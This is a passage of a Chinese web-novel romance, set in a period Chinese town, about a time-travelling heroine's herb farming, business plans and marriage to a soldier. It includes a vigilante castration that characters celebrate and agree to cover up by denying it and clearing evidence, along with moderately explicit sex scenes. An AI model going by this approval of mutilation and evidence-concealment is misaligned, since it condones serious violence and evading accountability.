电光火石之间,觅婉婉觉得觅桂兰就是这个合适的人手。
觅桂兰一听,立马答应下来,“你带我去吧,这事,算我欠你一个人情。”
“你不担心别人知道你一个女孩子力气这么大,会说闲话了?”觅婉婉问她。
觅桂兰:“我刚刚打了周哲,不去猪场也被知道的,能挣钱就行。”
她就是因为没有钱,才只能讨好家里,又是因为没钱,只能依附于周家,每个月的工资都被收走......
比起这样不受控制的人生和生活,女孩子力气大被别人知道算什么。
听说她打了人,觅婉婉才真正地发现,觅桂兰不一样了。
从前的觅桂兰,爱较劲但是胆子小,整个人都别扭地很,如今倒是坦荡。
“今天太晚了,你先跟我回去,明天我带你去找祝毅。”觅婉婉领着她回去后,想到谢宴清还没回家,自己一个人,觅桂兰又有前科,到底没敢直接往家里领。
跟隔壁的吕花说明情况后,吕花带着大女儿张晓兰一起过来跟他们住。
“姑娘你别怕,先在外边躲着,周家那一家人,太不是东西了。”吕花不知道觅婉婉跟觅桂兰的往事,听说觅桂兰在周家的遭遇后,愤慨地说。
觅桂兰心中暖,苦笑一下:“也是我之前识人不明,贪图权势富贵。幸好,一切都来得及。”
吕花没想到她如此直白,愣了一下之后拍拍她的肩膀:“你还年轻,说什么来得及来不及的。人呐,这辈子最怕一条道走到黑。你肯拐弯,再好不过。”
有吕花在,觅婉婉不用担心别的,很快就沉沉睡过去。
许是半夜醒过一次,第二天早上醒来的时候,太阳已经高高挂起。觅婉婉伸了个懒腰,走出房间,觅桂兰和吕花已经做好了早饭。
“婉婉,我煮了个青菜周,桂兰包了一笼包子,你们吃,我先回家了。”吕花看见觅婉婉出来,用围裙擦了擦手,作势要离开。
觅婉婉知道吕花家里人多,事情也多,没有多做挽留,拿了一包冰糖出来,“婶子拿回去给几个小孩甜甜嘴。”
换做之前,吕花肯定是要推拒的,可这段时间,他们一家老小,除了张晓山,全都跟着觅婉婉干活。大家熟络起来,也就没那么多客套,无非是这里拿了从那里还回去罢了。
“你总是记着他们。”吕花收了糖,顺便开玩笑,“你这么喜欢孩子,不会是肚子里有动静了吧?”
觅婉婉红了脸,嗔怒道:“婶子你胡说什么呢。”
这段时间下来,谢宴清平日如高山积雪,可远观不可亵玩。一到那事上,就变得霸道、花样又多,恨不能将觅婉婉揉进骨血。
甚至没日没夜地与觅婉婉纠缠,若是日日如此,觅婉婉必然怀上。
好在谢宴清部队训练任务重,出任务的时间也多,否则觅婉婉真要招架不住。
吕花走后,觅婉婉就骑自行车带着觅桂兰去磨盘镇找祝毅。
祝毅打量着觅桂兰单薄的身子,对觅桂兰能不能做杀猪的活表示怀疑。
觅桂兰也不多解释,直接走到院子里的案板上,拿起砍骨刀,“咔咔咔”几下,把案板上的一根筒骨剁了。
她的姿势和准头都不对,可每刀下去都是骨肉分离。
祝毅顿时喜出望外,又有点犹豫,“可是,我的养猪场在深山里,现在这事只能偷摸着做。你如果在我这做的话,平常轻易不能下山。”
“这没问题,我家人都死光了,我可以一直在山上不下来。”觅桂兰面无表情地说。
祝毅看向觅婉婉,觅婉婉朝他点点头。
“既然是这样,那我一会就带你上山。我给师傅的工钱是一个月一百块,外加二十斤猪肉,平常猪下水、猪血什么的不限。你是新手,我先给你开八十一个月,其他的待遇一样。”
觅桂兰听了,整个人都傻眼了,她几乎以为自己听错了,八十一个月,还有二十斤的猪肉......
“好的,谢谢祝哥,我一定会好好干的!”觅桂兰很快反应过来,保证说。
安排好觅桂兰,觅婉婉在祝毅这买了两斤肉,祝毅坚决不收钱,“谢哥上次送来的那几头野猪崽可是帮了我大忙,两斤肉而已,嫂子就不要跟我客气了。”
“你的猪崽问题解决了?”觅婉婉问他。
祝毅:“我家猪野猪一起养,再安排他们配种,加上收的小部分猪崽子,养猪场已经步入正轨了。”
“祝哥以后一定是个大户!”
“我是找不到工作才做这行的,大户不大户什么的,我可不敢想。”祝毅挠挠头,不好意思地说。
觅婉婉提着猪肉往回走,心知祝毅很快就会成大户的。
等政策放开,经济发展,人们手里有钱,猪肉就是必不可少的消费,做猪肉养殖和销售一体的祝毅,就是站在风口上的人。
回到家放下猪肉后,觅婉婉就往山上走。如今她的草药交给吕花和一群孩子打理,金银花需要一年才能收获采摘,不过金银花可以多次采摘。
三七则是需要三年才能收获,最久的当属重楼,足足要养上七年。
当然,重楼的价值也是最高的,只要收获,必然暴富。
可觅婉婉在卷烟厂上班,没法像之前一样天天去山上找东西挣钱。草药的打理又需要人手,她现在雇着吕花和几个孩子,每个月的工钱是不能少的。
加上后面觅婉婉打算包上一片山,种上更多的三
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七和重楼,花销就更大了。
怎么算,觅婉婉都觉得前期的投入很大,入不敷出的样子。她心中有了其他挣钱的法子,打算回家之后和谢宴清商量一下具体事宜。
看过草药田之后,觅婉婉拿着两个鱼篓往山上走去。上次山谷中的鱼不错,而且看起来很好抓的样子,觅婉婉打算抓几条回去。
时至盛夏,觅婉婉独自一人沿着山间小路向上攀爬。蝉鸣声此起彼伏,像是要把整座山都震得摇晃起来。
私心里,觅婉婉并不想带人去那个山谷,最好也不要有人发现,只属于他们两个就最好了。
爬到山谷中的时候,觅婉婉的上衣已经被汗水湿透后背传来阵阵黏腻的触感。幸好山谷里树荫浓密,瞬间就舒爽下来。
觅婉婉就着浓密的树荫下了河,河水清澈,能清清楚楚地看见下面一条条大鱼在游动,阳光洒在它们的身上,鳞片顿时被点亮,像无数面微小的镜子,反射出耀眼的光芒。
一开始,觅婉婉是眉开眼笑地去捉鱼的,约莫个把小时后,觅婉婉就笑不出来了。这鱼是好抓,仅限于谢宴清而已。
抓不到鱼,觅婉婉就在山谷里转悠,看看能不能找到其他东西。她抬头望去,只见几株野樱桃树斜斜地生长在山坡上,枝干虬曲,树皮呈现出深褐色,布满了细密的裂纹。
树枝间闪烁着点点红光,定睛一看,竟是一串串野樱桃!
觅婉婉飞速地朝山坡上奔去,一颗颗红宝石般的野樱桃缀在枝头,有的已经完全成熟,呈现出深红色,表皮光滑发亮;有的还带着些许青涩,红中透黄。
她小心翼翼地摘下一颗熟透的樱桃,指腹传来微凉的触感,轻轻一捏,果肉柔软而有弹性。将樱桃放入口中,牙齿轻轻咬破果皮,酸甜的汁水瞬间在口腔中迸发。
一连吃了好几串樱桃后,觅婉婉才开始摘樱桃,直到将两个鱼篓都装的满满的,觅婉婉才恋恋不舍地下了山。
觅婉婉决定回去之后带着背篓再上山来摘,这些野樱桃大多都已经熟了,不摘回去掉在地上多可惜。
有了野樱桃在前面勾着,觅婉婉回到家放下鱼篓,立马就背上背篓往山上赶。
她刚出门,就碰上了急匆匆赶来的白霜儿,两人撞在一起。
“霜儿,你头没事吧?”觅婉婉比她高一些,白霜儿重重地撞在她肩膀上,“咚”地一声,听着就疼。
白霜儿却顾不得疼,一把拉着觅婉婉进了屋,小心翼翼地看了一下四周,确定没人后,仍旧不敢放开了说,小声道:“周哲被人打得半死,而且,而且......”
后面的话,白霜儿似乎难以启齿,半天没说出来。
“而且什么?”
“他变太监了。”白霜儿声若蚊蝇。
“什么?”觅婉婉仿佛被雷击中了一般,耳朵里嗡嗡作响。
“我去阉了他!”
谢宴清的这句话在脑海中不断回响,觅婉婉手指无意识地攥紧了衣角,指节因用力而泛白,呼吸也变得急促而浅薄,胸口剧烈起伏,仿佛空气突然变得稀薄。
38. 不认
“谢宴清干的?”
觅婉婉的世界天旋地转,脚下像踩在棉花上,虚浮得找不到重心。
“你先别慌,这事公公压下来了,谢宴清在我家呢。”白霜儿看她吓得不轻,忙扶着她说。“况且,这事也不是谢宴清一个人干的,顾宁阳不知怎么的,跟着谢宴清一起干了。”
“什么?”觅婉婉更觉惊讶,论她怎么想也想不到会是这个发展。
原书的反派大佬和男主会合作?
出乎意料的事情太多,觅婉婉几乎是机械地被白霜儿拉去顾家。
顾家,谢宴清和顾宁阳笔直地站在客厅,一言不发。
杨博才和钱文光已经早早赶来,两个人和顾大勋一起,像热锅上的蚂蚁一样,在屋子里急的团团转。
“宴清,你一向稳重,怎么这回跟着宁阳一块胡闹?”钱文才双手背在身后,头疼地问谢宴清。
顾宁阳不乐意了,嚷嚷道:“钱叔叔你说什么呢,明明是谢宴清找我入伙的。”
“你闭嘴吧你!”顾大勋暴躁地拍了一把顾宁阳的头。
杨博才是最冷静的,他蹙着眉说:“如今正是关键的时候,上面已经派人来收拾周显鑫了。这个节骨眼,出了这样的事,万一周显鑫反咬我们一口怎么办?”
觅婉婉进屋的时候,看到的就是一屋子人一筹莫展的样子。
对于钱文才不在轮椅上坐着,而是突然站起来这件事情,觅婉婉只是看了一眼,并没有多的表情。
白霜儿看到垂着头,一副任凭处置样子的顾宁阳,心下复杂。
她怎么也没想到,顾宁阳会为了自己做这样的事情。不顾一切、不想后果,只是想为她出一口气。
“不如,我们打死不认吧。”觅婉婉开门见山地说,一屋子人听了,全都震惊地看着她,一副你要不要听听你自己在说什么的样子。
觅婉婉尴尬地笑了一下,“反正,谢宴清做这件事,肯定不会留下什么线索的。他们没有证据,只要我们死不承认,他们总不能屈打成招吧?”
这下,连谢宴清都诧异地看着她。
钱文光双手一拍,兴奋道:“说的好!这么多年了,他们什么流氓事没做过,凭什么咱们就要做君子。”
“就算是在之前,我们三不也护住自己和小辈了。如今形式逆转,我们还怕他周显鑫做什么,他很快就得为自己之前做过的事情付出代价!”
闻言,杨博才点点头,“老钱说的有道理,就这么办。”
“你小子没留下痕迹吧?”顾大勋不放心地问顾宁阳。
顾宁阳炸毛:“你怎么回事?谢宴清就一定不会留下痕迹,我就一定会留下痕迹啊,你是怎么得出这个结论的?”
谢宴清面无表情地扫了一眼顾宁阳,很快又收回目光。
白霜儿上前把顾宁阳拉走,“你先去房里换身衣服再说。”
谢宴清走到觅婉婉身旁,面无表情道:“痕迹我都清理干净了,包括顾宁阳的,不会有问题的,你们放心吧。”
说完,就拉着觅婉婉离开了。
三个老家伙你看看我,我看看你,面面相觑。
“宴清和宁阳,结婚后好像都不一样了。”杨博才沉吟道。
钱文才:“尤其是宴清,跟以前真是相差十万八千里,宁阳也是,婚后稳重了不少。”
“宴清这孩子,结婚后对我好像没那么冷淡了。”顾大勋摸着下巴,嘿嘿笑了一下。
杨博才无情地戳穿他:“可能是他结婚后离你远了,心情变好了。”
顾大勋的脸一下就垮下来,大写着“不开心”三个字。
“说起来,宴清这孩子心思也太重了些,到现在,我们几个都没搞清楚,他对老顾的敌意从何而来。”杨博才向来通透,唯独在这件事上,始终无法解开疑惑。
“谁知道呢,”钱文才坐上轮椅,调转方向离开,“可能是老顾人品不好吧。”
“你才人品不好!”顾大勋立马回怼。
杨博才笑着拉住他,“好了好了,事情总有弄明白的一天。月苓明天从广市回来,我得回去给她准备明天的菜,今天先这样吧。”
回去的路上,觅婉婉仔细地问了谢宴清他们处理周哲的细节,每每听到周哲被揍得很惨的时候,觅婉婉就忍不住笑。
说到周哲被一刀子阉割的场景时,觅婉婉更是拍手称快:“活该这样,看他以后还怎么祸害姑娘。”
谢宴清:“你这么认同我的做法?”
“当然认同啦,之前不让你做,是担心你的前途。”觅婉婉理所当然地说。
她心中清楚,即便是在几十年后的社会,各种法律制度已经很完善的情况下,女性遭遇像周哲这样的骚扰、强迫,无法维权的比比皆是。
如果有其他方式可以让周哲这种人得到惩罚,觅婉婉也是开心的。
“不过,以暴制暴这种方式,还是不要用太多的好。”想到书中谢宴清的结局,觅婉婉又不开心了。
她不希望谢宴清像书里写的那样,变成一个嗜血的魔头,凄惨地过完一生。
“我不会。”谢宴清冷冷道。
他不会什么,没有细说,觅婉婉却心领神会,立马放下心来。
只要谢宴清说不会,那就不会。
午饭是新鲜摘的野樱桃炖肉,肉质软烂,酸甜开胃。果然,大自然的馈赠最美味。
“可惜我今天没抓到鱼,看你那么容易就抓到了,到我就这么难。”觅婉婉一边扒肉吃,一边嘟囔道。
谢宴清似乎格外喜欢吃这道菜,大半碟进了他的碗里,“无事,一会儿我跟你去抓,你想要多少就有多少。”
觅婉婉笑了:“你给我自然好,要是我自己能抓就更好啦。”
“你...”谢宴清突然放下碗筷,神情严肃,“你不喜欢我给你的?”
“啊?当然不是,谁不喜欢不劳而获呢。”觅婉婉不明白他的表情为什么突然变得凝重,实话实说道。
谢宴清的神情又放松下来,“你我之间,不必分得如此清楚。”
“你好像很在意这个?”觅婉婉敏锐地捕捉到什么,犀利地问。
良久,谢宴清都没有回答,就在觅婉婉觉得他不会回答的时候。谢宴清却突然说:“你知道我讨厌顾大勋一家人吧?”
“我和我妹妹不过是他和我妈的一个意外产生的,有那么亲近吗?”谢宴清的话语里带着深深的自嘲,“到头来,他正常地娶了喜欢的人,结婚生子,我妈却因为一个意外耽误了一辈子。”
觅婉婉大吃一惊,手里的碗都掉了,她却顾不上。
谢宴清自顾自地继续说:“不过我现在没那么恨他了,我想,如
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果我在遇见你之前跟人意外有了孩子。后来遇见你,我也会不顾一切,抛妻弃子也要跟你在一起。”
猝不及防的表白,虽然有点不大对劲,觅婉婉仍旧被闹了个红脸。“你妹妹?”
“我们是双胞胎,她只比我晚几分钟出来。”谢宴清知道她想问什么,回答说。
原本觅婉婉就奇怪,谢宴清跟男主一家哪来的这么大仇恨。如果其中有此隐情,一切就解释地通了......
但不知为何,觅婉婉总觉得哪里怪怪的。
好不容易放假,觅婉婉不愿意把所有的时间放在这些乱七八糟的事情上,拿上背篓和鱼篓,拉着谢宴清一起上山去了。
“你看,那大半片山都是我种的草药呢。等过几年,它们全都成熟收获,我就是富婆啦。”觅婉婉指着自己的草药田,豪情万丈地说。
“嗯。”谢宴清耐心地听她说,认真回应一个字。
看过草药田,觅婉婉跟谢宴清往山谷里走,“种药材是需要时间的,更何况我想把药材炮制一下再卖,这样更能卖出价钱。我倒是有挣钱的法子,比如在山里养一群鸡,几个月就能卖了。”
“但你在部队任务重,我在卷烟厂上班,没有人手,挺麻烦的。”觅婉婉苦恼道。
“你想养的话,不是不行,王丘雨的爸妈从工厂退下来了,姐姐也没工作。他们一家都是可靠的人,可以合作。”谢宴清给她支招。
觅婉婉一下就来劲了,“那感情好,马上政策就放开了,我们先在山上养着,等过个一年半载的,很快就能挣钱。”
养鸡的成本比养猪低很多,鸡崽子便宜,又家家都能孵。小鸡放在山中,自己就能找食,再种些蔬菜、稻谷什么的给它们当口粮。
最大的成本就是搭鸡棚了。
“这不是问题,我们几个去山里砍些竹子树木什么的,自己搭就成。”谢宴清很快又给出了解决方案,“不过,你这么笃定政策会变?”
觅婉婉心虚了,“我...我听我们厂里领导说的。”
卷烟厂的消息不可能比部队灵通,谢宴清一眼看穿觅婉婉在说谎,只是没有拆穿她。
到了山谷中后,谢宴清先是帮觅婉婉摘了整整一背篓的野樱桃,后拿着鱼篓一头扎进溪水里抓鱼。
觅婉婉躺在树荫地下看谢宴清抓鱼,悠哉休闲,不由地感叹,有个厉害的对象真好!
清澈的溪水中,谢宴清光着上半身,水珠顺着结实的胸膛滑落,阳光洒在他白瓷的肌肤上,映出美玉一般的光泽。
不过是一段时间没有晒太阳,谢宴清的皮肤就变得又白又嫩,真是受上天宠爱的大反派呢,觅婉婉一边欣赏一边感叹。
他的肌肉线条流畅而有力,肩宽腰窄,腹肌若隐若现,仿佛雕刻般完美。他专注地弯下腰,双手在水中灵巧地摸索,眼神锐利而温柔,几乎是几分钟一条鱼。
水波轻轻拍打他的身体,勾勒出诱人的轮廓,觅婉婉看着看着,就很想摸。
“你要一起下来吗?”感受到她的目光,谢宴清回过头,朝她伸出一只手,邀请她一起下河。
鬼使神差地,觅婉婉朝他走过去,把手放在他的手心,等触及他眼底不怀好意地笑意时,想收回手已经不可能了。
“哗啦~”一声,觅婉婉被拉下了河,迎接她的,是狂风暴雨般的激吻。
39. 超越
两人在河里闹了整整一下午,直到天色完全黑下来,才赶回家。
回到家后,觅婉婉无情地关上了房间门,气呼呼说:“谢宴清,你要是再这么胡闹,以后就别想进我的房间了!”
她真不知道,谢宴清哪来的这些花样,玩得比后世那什么片里都花,觅婉婉被他弄得真是没脸见人了。
谢宴清的声音里蕴着笑意:“好,下次不敢了。”
折腾了一天,晚上自然睡得香。第二天去上班的时候,卷烟厂已经发生滔天巨变,财务部长联合副部长周哲、职工□□珑偷卖厂里的香烟,谋取巨额利益,被移交给市里的警察局调查。
副厂长郑宏儒监管不力,扣除一个月工资,全厂通报批评。
刚受了重伤的周哲就这样被带走了,周显鑫阻拦未果,自己也被莫名其妙地带走了。觅桂兰失踪的消息也在家属院和卷烟厂传开了,毕竟人们最爱的就是八卦。
关于觅桂兰的失踪,人们有各种猜测,有说是被人掳走的,有说被周家杀人埋尸的,还有说她受不了磋磨逃回家的,或是跟人私奔的......
总之,周家的每个人都成为了焦点。
知晓内情的觅婉婉并不加入讨论,用不了多久,这些事情全都会水落石出。
卷烟厂内新旧厂长的第一次正面交锋,新厂长胜了,而这样的交锋,在以后必然不会少。
如今财务部人去楼空,翟良策找到觅婉婉,“婉婉同志,如今财务部急需有人挑起大梁,你想回去吗?”
思索片刻后,觅婉婉回答:“谢谢翟厂长,不过,比起坐办公室,我更喜欢在各个生产部门轮岗,可以学习更多的知识。”
轮岗制是刘为民提出并实行的,看到觅婉婉认同他实行的制度,不禁对这个小姑娘又满意了几分。
觅婉婉明显是想清楚了才拒绝,翟良策没有挽留,却不可避免地担心财务方面的事情没人处理。
他初来乍到,郑宏儒不给他添乱就不错了,别说帮他了。
“或许,厂长你可以试试用白良平,他在这块很擅长。”觅婉婉建议道。
原书中,白良平后来就是溪城卷烟厂的财务总监,虽然不清楚其中细节,但书中既然是这么发展的,白良平在财务一块,想必是有潜力的。
翟良策意外道:“是吗?我这就去找他。”说完,立马急匆匆地去一车间找白良平。
觅婉婉则是继续在车间钻研卷烟配方,她前天第一次配方,总觉得配的不是那么完美,于是一头扎进去继续配。
“你的香料放太多了,烟草本身的香味就会被盖住。”刘为民观察了一会儿她配方后,指点道。
觅婉婉恍然:“原来是这样呀,那这个比例要怎么控制呢......”
整整一天,觅婉婉在刘为民的指导下,配方做得越来越精准。不过她有些奇怪,刘老为什么特意过来指导自己呢?
觅婉婉想不出什么理由刘老要特意关照自己,也许他今天心情好吧。
下班时间一到,谢宴清已经在厂门口等她,觅婉婉放下工作的事情,坐上谢宴清的自行车回家。
“周显鑫,是部队借公安的手带走的吧?”觅婉婉坐在后座上问。
谢宴清:“嗯,顾叔叔他们早就在暗中操作了,如今也是时候了。”
至于周显鑫被带走之后会怎么样,觅婉婉不用问也知道了。她一直是个安于自己阶级的人,平生所求也不过是小富即安,管不到的地方,觅婉婉自然不会管。
“你不是想养鸡吗?我请了王丘雨一家来家里吃饭,商量一下养鸡的事情。”谢宴清在这方面也没有多说,转而说起了其他的事。
觅婉婉精神一震:“好呀,鸡鸭的成长周期都比较快,很快就能挣到钱。”
“我刚出完任务回来,假期剩下不少,这段时间我会帮你把鸡棚鸭棚做好的。”谢宴清显然是做好了规划,娓娓道来,“另外,我的职位上去了,工资票据等待遇都会更多。”
“不急,钱可以慢慢挣,你可千万别因为着急升职做什么不理智的事情。”书中谢宴清被部队开除的事情,觅婉婉可是记得清清楚楚。
此时听谢宴清说起升职,觅婉婉立即敏感起来,生怕他为了升职做出什么不理智的事情来。
谢宴清的唇角微微翘起:“不会。”
今晚要请客,自然是不能像往常一般随便对付。可时间紧急,倒也来不及准备得太丰盛。
上次出任务的时间长,谢宴清这次的假期长达半个月之久。白天的时候上山砍了一些竹子准备做鸡鸭棚,顺便捡了些野蘑菇回来。
“有了!”看到野蘑菇,觅婉婉立马有了主意,“我们可以野生菌火锅,等会儿去后山接点山泉水回来,把这些野蘑菇随便一煮,就鲜的很。”
因为谢宴清时不时地上山去打野猪,又有祝毅这层关系在,他们家中肉和骨头都是不缺的。
为了增加风味,山泉水打刚回来后,觅婉婉用两根大筒骨熬了一大锅高汤,用来做野生菌火锅的汤底。
如今自是没有专门吃火锅店的锅和炉子,直接在院子里放一捆柴烧了,铁丝吊着锅在火上烧,大家围着锅一坐,热闹地紧。
再用新鲜的竹筒装上米饭和腊肉,放在火上烤熟,米饭吸收了竹子的清香,腊肉的油脂渗入米饭,香气扑鼻。
王丘雨一家过来的时候,一进门就闻到了扑鼻的香气。
“好香啊,谢哥、嫂子好手艺!”王丘雨一进门就笑着夸道。
他父亲叫王正清,是个朴素的中年男人,手上拎着几包油纸,里面放着桃酥。
王丘雨的母亲章爱云要开朗一些,递给觅婉婉一袋子大白兔奶糖,“婉婉是吧?我老听我们家丘雨说你长得像仙女一样,如今一看,这小子半点没夸张。这是我大女儿从沪上寄来的奶糖,你留着尝尝鲜。”
“妈,大姐寄来的奶糖我都没吃上几颗呢,这就让你全送人了。”王丘雨看着那一袋子奶糖,心痛说。
他姐姐王桂苗轻拍了一下他的头,嗔道:“你就知道吃。”
桃酥和大白兔奶糖,在这个时代都是稀罕物,王家人带这些东西上门,诚意十足。且觅婉婉观察,这家人的家风也不错,就像谢宴清说的,是很不错的合作对象。
不仅如此,王桂苗手上还提了一只鸡过来。
“鸡就拿回去吧,不用这么客气。”觅婉婉婉拒。
王桂苗却不给她机会,直接将鸡塞到她怀里,“嫂子你不用做这么客
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气才对,谢哥是我的救命恩人,别说一只鸡了,我拿再多东西过来都是不够的。”
觅婉婉推拒不过,干脆把鸡杀了,大家一起吃。
“我之前是在县城的电影院上班的,结果有一群流氓盯上了我,趁我晚上下班的时候拉我去了巷子。”王桂苗和觅婉婉一起杀鸡的时候说起了过去的事情,语气间全是庆幸。
“幸好丘雨和谢哥赶过来了,谢哥还踩断了其中一个人的一条腿,吓得他们半死。”
“结果那家人还恬不知耻,闹上谢哥部队,有些不明内里的人就说谢哥残忍什么的......”
一只鸡处理完毕,王桂苗把当初的事情说了个清楚。觅婉婉拿了个酸木瓜炒鸡,对谢宴清的过去更加了解了几分。
原书中的谢宴清,之所以会走上一条偏执的不归路,根源在家庭。他为顾大勋轻易地毁了母亲的一生而不平,这种不平促使他在遇到类似的事情时,必然会出手,并且出手狠辣。
好在,谢宴清已经不一样了,如果可以的话,觅婉婉更愿意和他携手,平淡的度过这一生,即便谢宴清无法取得后来书中那样的成就也没关系。
一顿晚饭吃得宾主尽欢,王家对觅婉婉提出的鸡鸭养殖兴趣极大,更重要的是,他们有胆子干,愿意跟着觅婉婉在山里偷偷养。
“撑死胆大的,饿死胆小的,咱们冒点风险,自己能赚着钱,别人能吃上肉怎么了!”王正清拍板定案,一家人决定,养殖这件事情,说干就干。
事实上,在当前这个节骨眼,很多城市已经放开了限制,那些嗅到商机的人,早就开始搞市场经济。
溪城地处偏远,觅婉婉他们倒是成了第一个吃螃蟹的人。
商量好细节之后,王丘雨一家就离开了。
“王桂苗在电影院上班,怎么会有时间去山里养鸡呢?”人走之后,觅婉婉问谢宴清。
谢宴清:“她经历了那件事情之后,便不敢再去上班,王家父母也害怕她再出事,于是一直在家呆着。原本他们不是胆大的人,这次破釜沉舟,想是为女儿谋一条生路。”
这样为女儿费心思的父母,在合作方面,觅婉婉对他们更加放心。
洗了个热水澡后,觅婉婉舒舒服服地躺在床上,“谢宴清,你去过省城吗?有时间的话,我想去一趟省城。”
“没,去省城做什么?”谢宴清侧过头问她。
觅婉婉:“我现在搞了草药种植,又准备弄养殖,总是要补充一下专业知识的。省城的书店应该会有关于草药种植和养殖方面的书籍,我买一些回来钻研一下。”
“一件事情若是要做成功,必然不能靠着一时兴起或者蛮干,知识就是力量嘛。只有不断学习,才能做大做强。”
她说得兴起,一双杏眼亮晶晶的,装着满满的自信,几乎要溢出来。谢宴清认真地看着她:“嗯,婉婉真厉害。”
觅婉婉被他一本正经的夸奖弄得有点不好意思,“还好了,读书养成的习惯罢了。”
前世十几二十年的教育,已经让她习惯在做事情的时候,不断精进、超越。
谢宴清覆身上去,重重地吻过她,气息凌乱地说:“婉婉在书里看过夫妻之事要怎么做得更好吗?教教我......”
40. 买房
结束之后,两个人皆是大汗淋漓,谢宴清却紧紧搂着她不放。
肌肤相贴,汗水交融,觅婉婉有气无力地瞪了他一眼,“你比书厉害着呢,需要我教?”
可惜她现在的样子,脸颊微红,呼吸仍有些急促,眼神迷离,声音带着沙哑。这一瞪,不仅没有半点生气的气势,反而带着些无声的邀请。
她肩头雪白的肌肤在烛光下泛着一层薄汗,仿佛月光下的露珠,晶莹而诱人。谢宴清没有抵抗住诱惑,起身细细地舔舐露珠,品尝其中的美味。
觅婉婉正是敏感的时候,被他的举动弄得几乎要哭出来。“谢宴清!”
尝到甜味的谢宴清却不肯停下来,循着那一颗颗的露珠,落下细细密密的吻。
很快,觅婉婉就被撩拨得难受,可最关键的时候,谢宴清却起身躺了回去。
“你做什么?”觅婉婉懵了。
谢宴清躺得板正,“婉婉你博学多才,即便是在这方面,应该也懂些我不会的吧?”
现在觅婉婉脑子里都是浆糊,完全听不懂谢宴清在说什么。
“你在上面。”谢宴清哑着声音说。
觅婉婉睁大了眼睛:“你...你你你......”
然而,谢宴清的手还在她身上不断作妖,尽情地撩拨着觅婉婉,试图引诱那只名叫欲望的野兽出笼。
“熄了蜡烛。”觅婉婉闭上眼睛,自暴自弃地说。
“好。”谢宴清答应地痛快,立马熄了蜡烛。
身处黑暗,觅婉婉起身,坐在了谢宴清的身上......
放野兽出笼的后果就是,第二天觅婉婉直接起不来床了。
“我帮你跟厂里请了假。”谢宴清神色如常地对觅婉婉说,仿佛昨天那个把她弄晕的禽兽是别人。
觅婉婉转过头不理他,这人床上床下完全就是两个样,她可记仇。
好在这个年代的厂子假期多,除了每周一天的休息外,还有各种假期,都是不扣工资的。
“杨叔叔的女儿早上来过了,邀你一起去省城,我们一起去?”谢宴清知道昨天闹得过火,难得带着点讨好。
“好呀!”听到杨月苓回来了,还邀请自己去逛街,觅婉婉瞬间亮了眼睛,把昨晚的事情暂时抛之脑后。
两人来到杨家,没却在门口碰上了赵天瑞,觅婉婉和谢宴清对视了一眼,皆从对方的眼里看到疑惑。
“婉婉,你来啦!”杨月苓踩着红色的小高跟皮鞋出来,看到谢宴清,了然说:“咦,你也带个跟班拿东西呀。”
觅婉婉和谢宴清立即会意,齐刷刷地看着赵天瑞,对方黝黑的脸庞浮上一抹不正常的红色。
“小赵,包给我拎上,走啦!”杨月苓自然地使患着赵天瑞,完全没发现不对劲。
原本去省城是要转好几趟的车,但有了杨月苓就不一样了,她让找天瑞直接开着她爸的吉普去。
赵天瑞帮人拎包又开车的,傻子才看不出他的心思。
“婉婉,这次去广市,我可是开了眼界了。咱们这就去省城租个铺子,卖衣服去。”杨月苓原本坐在前排,可觅婉婉坐在后面,她嫌说话不方便,于是跟谢宴清换了个位置,坐在后面和觅婉婉说了话。
开吉普车去省城的需要两个小时,期间,杨月苓一直在跟觅婉婉说在广市的所见所闻。
“婉婉,你是怎么知道广市有全国最潮流、物美价廉的衣服的?你之前跟我说的那么笃定,好像你去过一样,可你不是村里来的嘛?”末了,杨月苓抛出重磅问题,直接把觅婉婉砸懵了。
谢宴清听到杨月苓的问题,微微侧过头,显然是在等她的回答。
觅婉婉心中一紧,斟酌道:“我也是在书上看到的,这次去省城,我就打算再买点书看。”
“唔,看来读书多还是好用的,可惜我没兴趣。”杨月苓轻易地相信了觅婉婉的话,感叹道。
来到省城之后,四人先在国营饭店吃了个午饭,然后开始逛街、看铺子。
“大小姐,租别人家铺子到底是不稳定,像是遇到不好的房东,刚做起来的生意岂不是要黄了。”觅婉婉在书店买到了养殖类型的书,顺便买了一张地图。
对照着地图,她发现他们现在所在的位置,就是未来昆市最核心的地段,于是试图开口劝说杨月苓买店铺。“不如直接把店铺买回来,咱们的生意才能长久啊。”
杨月苓露出思考的神情,觅婉婉又补上一句,“最重要的是,咱们大小姐怎么能看人家脸色做生意呢!”
听到这句话,杨月苓立马说:“买!买铺子,本小姐做生意,绝不看人脸色!”
“是呀,说不定这铺子以后也能挣到钱呢。”觅婉婉隐隐约约提示她到。
杨月苓却没有接受到她的提示,立马吩咐赵天瑞去找卖铺子的房东,赵天瑞得了令,拔腿就走。
“哎,你等等,本小姐不放心,我们一起去看吧。”杨月苓虽然骄纵,但这是她第一次有想做的事情,难得亲力亲为一次。
他们一走,就剩下觅婉婉和谢宴清两个人在街上漫步。
“你为什么确定这里的铺子以后能挣到钱?”谢宴清突然发问。
觅婉婉蚌住了,谢宴清的敏锐程度,超乎她的想象。“我没有确定啊,说不定,说不定呢,对吧。”
她勉强解释了一下,好在谢宴清没有追问下去,觅婉婉呼出一口气。
原本一心扑在男主顾宁阳身上的杨
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月苓,抽身之后行动强的可怕,很快找到一处喜欢的铺子。
位置、装修什么的都是一流的,只是现在卖房都是一卖一栋,杨月苓大手一挥表示:“这都不是问题。”
最终这栋两层的小楼以两万二的价格成交,占地一百平米,楼下足有两个铺面。觅婉婉满眼羡慕,有钱真好,她也想买买买。
房子嘛,自然是越多越好。
谢宴清没有错过她眼中的羡慕,心中疑惑更甚,不过比疑惑更多的是胜负欲。
从省城回来后,谢宴清跟王清正在山上干了好几天,除了把鸡棚鸭棚搭好之外,还另外搭了一个供人休息的小棚子。
虽说是在深山,但以防万一,最好还是二十四小时有人守着最好。
忙完这几天,谢宴清的假期也就结束了,回到部队的训练中。
特种部队训练基地,队长毛长洲拿着望远镜,看着打了鸡血一样疯狂训练的三个人,陷入了沉思。
“你们三个最近怎么回事?”毛长洲把谢宴清三人叫过来,进行询问,“这样不要命的训练,为什么?”
“升职!”谢宴清和赵天瑞异口同声地说。
只要保持底线,毛长洲并不介意底下的人有上进心,“王丘雨,你呢,你又是为了什么?”
王丘雨懵了一瞬,站直了身体道:“报告!我看他们都在疯狂训练,不想被丢下,拼命跟着练。”
毛长洲:“....你们还年轻,来日方长。有目标是好事,切记不能因为急功近利,反而损害了身体根基。”
“是!”三个人立正站直,响亮地应了一声。
训练结束回大院的路上,王丘雨站在两人中间问,“你们两个什么时候变得这么有上进心了?”
谢宴清:“挣钱给媳妇买房。”
